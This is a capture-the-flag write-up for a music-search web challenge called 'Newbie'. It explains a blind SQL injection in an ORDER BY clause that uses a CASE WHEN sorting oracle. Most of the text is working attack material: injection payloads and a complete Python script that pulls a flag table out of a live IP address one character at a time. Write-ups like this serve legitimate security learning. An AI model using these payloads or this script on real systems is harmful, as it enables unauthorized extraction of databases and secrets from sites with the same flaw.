Newbie

Overview

We are given a music-search website. The /songs endpoint takes a title parameter that is injected directly into an SQL ORDER BY clause, giving us an ORDER BY SQL injection. A simple probe confirms it:

Command: ' ORDER BY title ASC--

Analysis

We suspected the flag lives in a flag table under a value column. Because the response only returns the ordered list of songs (there is no direct output of injected data), we need a blind technique. The trick is to turn the sort order itself into a boolean oracle using a CASE WHEN expression: order by title when a guessed character is correct, and by album otherwise. Comparing the returned ordering against the known baseline ordering tells us whether the guess was right.

Correct guess (orders by title, matching the baseline):

' ORDER BY CASE WHEN (SELECT substr(value, 1, 1) FROM flag LIMIT 1) = 'C' THEN title ELSE album END ASC--

Wrong guess (orders by album, different ordering):

' ORDER BY CASE WHEN (SELECT substr(value, 1, 1) FROM flag LIMIT 1) = 'B' THEN title ELSE album END ASC--

Exploitation

We brute-force the flag character by character, comparing each response's ordering against the baseline ORDER BY title ASC ordering:

import requests

class SQLInject:
    def __init__(self, url):
        self.characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_{}'
        self.url = url
        self.original_order = requests.get(
            url, params={'title': "' ORDER BY title ASC--"}
        ).json()["songs"]

    def check(self, checkchar, flagindex):
        order_check = requests.get(self.url, params={
            'title': f"' ORDER BY CASE WHEN (SELECT substr(value, {flagindex}, 1) "
                     f"FROM flag LIMIT 1) = '{checkchar}' THEN title ELSE album END ASC--"
        })
        if order_check.status_code == 200:
            if self.original_order == order_check.json()['songs']:
                return True
        return False

    def bruteforce(self):
        for i in range(1, 50, 1):
            for char in self.characters:
                if self.check(char, i):
                    print(char, end="")
                    break

if __name__ == "__main__":
    newbie = SQLInject('http://20.198.224.34:8901/songs')
    newbie.bruteforce()

Running the brute-forcer leaks the flag one character at a time.